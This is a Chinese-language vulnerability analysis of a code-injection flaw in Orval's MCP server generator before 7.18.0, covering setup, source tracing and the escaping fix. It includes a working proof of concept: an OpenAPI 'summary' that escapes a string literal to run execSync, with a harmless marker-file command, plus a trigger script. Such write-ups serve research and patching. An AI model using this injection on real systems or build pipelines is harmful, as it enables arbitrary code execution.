Orval MCP Code Injection 逃逸导致 RCE 分析

漏洞描述


Orval 是一个可以从 OpenAPI v3 或 Swagger v2 规范生成类型安全 JavaScript 客户端(TypeScript)的工具。在 7.18.0 版本之前,MCP 服务器生成逻辑在处理 OpenAPI 规范中的 summary 字段时,没有进行适当的验证或转义,直接将其拼接到生成的代码中。

这使得攻击者可以通过精心构造的 OpenAPI 规范文件,在 summary 字段中注入恶意代码,"跳出"字符串字面量并执行任意 JavaScript 代码。


环境搭建

# 1. 进入源码目录
$ cd orval-7.17.2

# 2. 安装依赖 (耗时约 1m 43s)
$ yarn install

# ➤ YN0000: └ Completed
# ➤ YN0013: │ 2181 packages were added to the project (+ 1.29 GiB).
# ➤ YN0000: └ Completed in 1m 43s
# ...
# ➤ YN0000: · Done with warnings in 1m 43s

# 3. 构建项目 (耗时约 13s)
$ yarn build
# 输出 (末尾):
# Tasks:    11 successful, 11 total
# Cached:    0 cached, 11 total
#   Time:    12.946s

# 4. 验证版本
$ node ./packages/orval/dist/bin/orval.js --version
# 输出: 7.17.2


漏洞复现

验证 Orval 版本

确保你的是漏洞版本


命令:

$ node ../orval-7.17.2/packages/orval/dist/bin/orval.js --version

创建恶意 OpenAPI 规范

文件: poc/real-malicious.yaml

openapi: 3.0.4
info:
  title: Test API
  version: 1.0.0
servers:
  - url: https://api.example.com/v1
paths:
  /test/status:
    get:
      summary: "Normal status check' + require('child_process').execSync('echo VULNERABLE > /tmp/orval-real-poc.txt').toString() + '"
      description: Get status information
      operationId: getStatus
      responses:
        '200':
          description: Successful operation
          content:
            application/json:
              schema:
                type: string
  • summary 字段包含恶意 payload
  • 开头的单引号 ' 用于闭合前面的字符串字面量
  • + require('child_process').execSync(...) 是注入的恶意代码
  • 结尾的 ' 开始新的字符串字面量

因为生成逻辑是一个拼接的过程

创建 Orval 配置

文件: poc/real-poc.config.mjs

export default {
  mcp: {
    input: {
      target: './real-malicious.yaml',
    },
    output: {
      mode: 'single',
      client: 'mcp',
      baseUrl: 'https://api.example.com/v1',
      target: './real-generated/handlers.ts',
      schemas: './real-generated/schemas',
      clean: true,
    },
  },
};

文件生成

$ node ../orval-7.17.2/packages/orval/dist/bin/orval.js --config real-poc.config.mjs


🍻 orval v7.17.2 - A swagger type safe client generator for typescript
mcp: Cleaning output folder
🎉 mcp - Your OpenAPI spec has been converted into ready to use orval!

然后就会生成对应的文件

恶意文件是在 server.ts

成功的拼接并闭合了

修复版本生成文件

使用相同的恶意输入,修复版本 (7.18.0) 会生成:

server.tool(
  'getStatus',
  'Normal status check\' + require(\'child_process\').execSync(\'echo VULNERABLE > /tmp/orval-real-poc.txt\').toString() + \'\'',
  getStatusHandler
);

区别: 所有单引号被转义为 \',注入被阻止。

恶意文件触发

只要 MCP 服务器加载脚本,就会立马触发

AI 写个代码

#!/usr/bin/env node
/**
 * MCP 客户端触发脚本
 * 连接到恶意 MCP 服务器,验证漏洞是否被触发
 */

const { spawn } = require('child_process');
const fs = require('fs');
const path = require('path');

console.log('==========================================');
console.log('MCP 客户端触发测试');
console.log('==========================================');
console.log('');

// 清理之前的测试文件
try {
  fs.unlinkSync('/tmp/mcp-triggered.txt');
  console.log('[1] 已清理旧的测试文件');
} catch (e) {
  console.log('[1] 无旧文件需要清理');
}

console.log('');
console.log('[2] 启动恶意 MCP 服务器...');
console.log('    服务器路径: real-generated/server.ts');
console.log('');

// 使用 tsx 运行 TypeScript 文件
const serverProcess = spawn('npx', ['tsx', 'real-generated/server.ts'], {
  cwd: __dirname,
  stdio: ['pipe', 'pipe', 'pipe']
});

let serverOutput = '';
let serverError = '';

serverProcess.stdout.on('data', (data) => {
  const text = data.toString();
  serverOutput += text;
  // MCP 服务器使用 stderr 输出日志
});

serverProcess.stderr.on('data', (data) => {
  const text = data.toString();
  serverError += text;
  console.log('[Server]', text.trim());
});

// 等待服务器启动
setTimeout(() => {
  console.log('');
  console.log('[3] 服务器已启动,检查恶意代码是否执行...');
  console.log('');

  // 检查恶意代码是否执行
  if (fs.existsSync('/tmp/orval-real-poc.txt')) {
    const content = fs.readFileSync('/tmp/orval-real-poc.txt', 'utf8');
    console.log('✅ 漏洞触发成功!');
    console.log('   文件 /tmp/orval-real-poc.txt 已创建');
    console.log('   内容: "' + content.trim() + '"');
    console.log('');
    console.log('[!] 结论: 当 MCP 服务器启动时,恶意代码就已执行!');
    console.log('    不需要客户端调用任何工具,只需要加载 server.ts');
  } else {
    console.log('❌ 漏洞未触发 - 文件未创建');
  }

  console.log('');
  console.log('[4] 关闭服务器...');

  // 关闭服务器
  serverProcess.kill('SIGTERM');

  setTimeout(() => {
    if (!serverProcess.killed) {
      serverProcess.kill('SIGKILL');
    }
    process.exit(0);
  }, 1000);

}, 2000);

serverProcess.on('error', (err) => {
  console.error('启动服务器失败:', err.message);
  console.error('');
  console.error('可能需要先安装依赖:');
  console.error('  npm install @modelcontextprotocol/sdk typescript tsx');
  process.exit(1);
});

serverProcess.on('exit', (code) => {
  // console.log('服务器退出,代码:', code);
});


代码分析

OpenAPI 规范加载

const resolveSpecs = async (
  path: string,
  { validate, ...options }: SwaggerParserOptions,
  _isUrl: boolean,
  isOnlySchema: boolean,
) => {
  try {
    if (validate) {
      try {
        await SwaggerParser.validate(path, options);
      } catch (error) {
        if (error instanceof Error && error.name === 'ParserError') {
          throw error;
        }

        if (!isOnlySchema) {
          log(`⚠️  ${chalk.yellow(error)}`);
        }
      }
    }

    const data = (await SwaggerParser.resolve(path, options)).values();

    if (_isUrl) {
      return data;
    }

    // normalizing slashes after SwaggerParser
    return Object.fromEntries(
      Object.entries(data)
        .sort()
        .map(([key, value]) => [isUrl(key) ? key : upath.resolve(key), value]),
    );
  } catch {
    // 关键点:如果 SwaggerParser 失败,直接使用 yaml.load 解析
    const file = await fs.readFile(path, 'utf8');

    return {
      [path]: yaml.load(file),  
    };
  }
};


Operation 对象提取

export const getOperationId = (
  operation: OperationObject,
  route: string,
  verb: Verbs,
): string => {
  // 🔴 operation.operationId 来自 OpenAPI 规范,我们可以控制的,也就是上面的恶意文件字段
  if (operation.operationId) {
    return operation.operationId;
  }

  return pascal(
    [
      verb,
      ...route.split('/').map((p) =>
        sanitize(p, {
          dash: true,
          underscore: '-',
          dot: '-',
          whitespace: '-',
        }),
      ),
    ].join('-'),
  );
};

operation 对象包含 summary、description 等字段

字段提取

const generateVerbOptions = async ({
  verb,
  output,
  operation,
  route,
  pathRoute,
  verbParameters = [],
  context,
}: {
  verb: Verbs;
  output: NormalizedOutputOptions;
  operation: OperationObject;
  route: string;
  pathRoute: string;
  verbParameters?: (ReferenceObject | ParameterObject)[];
  components?: ComponentsObject;
  context: ContextSpecs;
}): Promise<GeneratorVerbOptions> => {
  // 🔴 从 operation 对象中解构出 summary 字段
  const {
    responses,
    requestBody,
    parameters: operationParameters,
    tags = [],
    deprecated,
    description,
    summary,  // ← 用户可控输入
  } = operation;

  const operationId = getOperationId(operation, route, verb);
  const overrideOperation = output.override.operations[operation.operationId!];

  // ... 省略中间代码 ...

  const doc = jsDoc({ description, deprecated, summary });

  // 🔴 关键点:verbOption.summary 直接使用 operation.summary
  // 没有任何转义或验证
  const verbOption: GeneratorVerbOptions = {
    verb: verb as Verbs,
    tags,
    route,
    pathRoute,
    summary: operation.summary,  // ← 直接赋值,未转义
    operationId: operationId!,
    operationName,
    response,
    body,
    headers,
    queryParams,
    params,
    props,
    mutator,
    formData,
    formUrlEncoded,
    paramsSerializer,
    fetchReviver,
    override,
    doc,
    deprecated,
    originalOperation: operation,
  };

  const transformer = await dynamicImport(
    override?.transformer,
    context.workspace,
  );

  return transformer ? transformer(verbOption) : verbOption;
};


generateServer 函数/文件拼接点

export const generateServer = async (
  verbOptions: Record<string, GeneratorVerbOptions>,
  output: NormalizedOutputOptions,
  context: ContextSpecs,
) => {
  const info = context.specs[context.specKey].info;
  const { extension, dirname } = getFileInfo(output.target);
  const serverPath = upath.join(dirname, `server${extension}`);
  const header = getHeader(output.override.header, info);

  const toolImplementations = Object.values(verbOptions)
    .map((verbOption) => {
      const imputSchemaTypes = [];
      if (verbOption.params.length > 0)
        imputSchemaTypes.push(
          `  pathParams: ${verbOption.operationName}Params`,
        );
      if (verbOption.queryParams)
        imputSchemaTypes.push(
          `  queryParams: ${verbOption.operationName}QueryParams`,
        );
      if (verbOption.body.definition)
        imputSchemaTypes.push(`  bodyParams: ${verbOption.operationName}Body`);

      const imputSchemaImplementation =
        imputSchemaTypes.length > 0
          ? `  {
  ${imputSchemaTypes.join(',\n  ')}
  },`
          : '';

      // 🔴 漏洞点:verbOption.summary 和 operationName 直接拼接到模板字符串,而且没有被任何的转义字符处理
      const toolImplementation = `
server.tool(
  '${verbOption.operationName}',
  '${verbOption.summary}',${imputSchemaImplementation ? `\n${imputSchemaImplementation}` : ''}
  ${verbOption.operationName}Handler
);`;

      return toolImplementation;
    })
    .join('\n');


所以文件的内容如下

漏洞修复

修复方案

在 packages/mcp/src/index.ts 中引入 jsStringEscape 函数对所有用户控制的输入进行转义。

修复说明

修复 Commit: 80b5fe73b94f120a3a5561952d6d4b0f8d7e928d

Orval 7.18.0 (已修复) - packages/mcp/src/index.ts:

  import {
    camel,
    ClientBuilder,
    ClientExtraFilesBuilder,
    ClientGeneratorsBuilder,
    ClientHeaderBuilder,
    ContextSpecs,
    generateMutatorImports,
    generateVerbImports,
    GeneratorMutator,
    GeneratorVerbOptions,
    getFileInfo,
    getFullRoute,
    jsDoc,
+   jsStringEscape,
    NormalizedOutputOptions,
    pascal,
    upath,
  } from '@orval/core';

  const toolImplementations = Object.values(verbOptions)
    .map((verbOption) => {
-     const imputSchemaTypes = [];
+     const inputSchemaTypes = [];
      if (verbOption.params.length > 0)
-       imputSchemaTypes.push(
+       inputSchemaTypes.push(
          `  pathParams: ${verbOption.operationName}Params`,
        );
      if (verbOption.queryParams)
-       imputSchemaTypes.push(
+       inputSchemaTypes.push(
          `  queryParams: ${verbOption.operationName}QueryParams`,
        );
      if (verbOption.body.definition)
-       imputSchemaTypes.push(`  bodyParams: ${verbOption.operationName}Body`);
+       inputSchemaTypes.push(`  bodyParams: ${verbOption.operationName}Body`);

-     const imputSchemaImplementation =
-       imputSchemaTypes.length > 0
+     const inputSchemaImplementation =
+       inputSchemaTypes.length > 0
          ? `  {
-  ${imputSchemaTypes.join(',\n  ')}
+  ${inputSchemaTypes.join(',\n  ')}
   },`
          : '';

      const toolImplementation = `
 server.tool(
-  '${verbOption.operationName}',
-  '${verbOption.summary}',${imputSchemaImplementation ? `\n${imputSchemaImplementation}` : ''}
-  ${verbOption.operationName}Handler
+  '${jsStringEscape(verbOption.operationName)}',
+  '${jsStringEscape(verbOption.summary)}',${inputSchemaImplementation ? `\n${inputSchemaImplementation}` : ''}
+  ${jsStringEscape(verbOption.operationName)}Handler
 );`;

      return toolImplementation;
    })
    .join('\n');

jsStringEscape 函数实现 - packages/core/src/utils/string.ts:

/**
 * Escape all characters not included in SingleStringCharacters and
 * DoubleStringCharacters on
 * http://www.ecma-international.org/ecma-262/5.1/#sec-7.8.4
 *
 * Based on https://github.com/joliss/js-string-escape/blob/master/index.js
 *
 * @param input String to escape
 */
export const jsStringEscape = (input: string) =>
  input.replaceAll(/["'\\\n\r\u2028\u2029]/g, (character) => {
    switch (character) {
      case '"':
      case "'":
      case '\\': {
        return '\\' + character;
      }
      // Four possible LineTerminator characters need to be escaped:
      case '\n': {
        return String.raw`\n`;
      }
      case '\r': {
        return String.raw`\r`;
      }
      case '\u2028': {
        return String.raw`\u2028`;
      }
      case '\u2029': {
        return String.raw`\u2029`;
      }
      default: {
        return character;
      }
    }
  });

如果存在这些字符,那么我们的内容就会被转义,就和防止 sql 注入一样

输入字符

转义后

'

\'

"

\"

\

\\

换行符

\n

参考资料

免责声明

本漏洞分析报告仅用于安全研究和教育目的。所有测试均在授权的环境中进行。


请勿将此信息用于任何非法目的。作者不对因滥用此信息而导致的任何损害负责。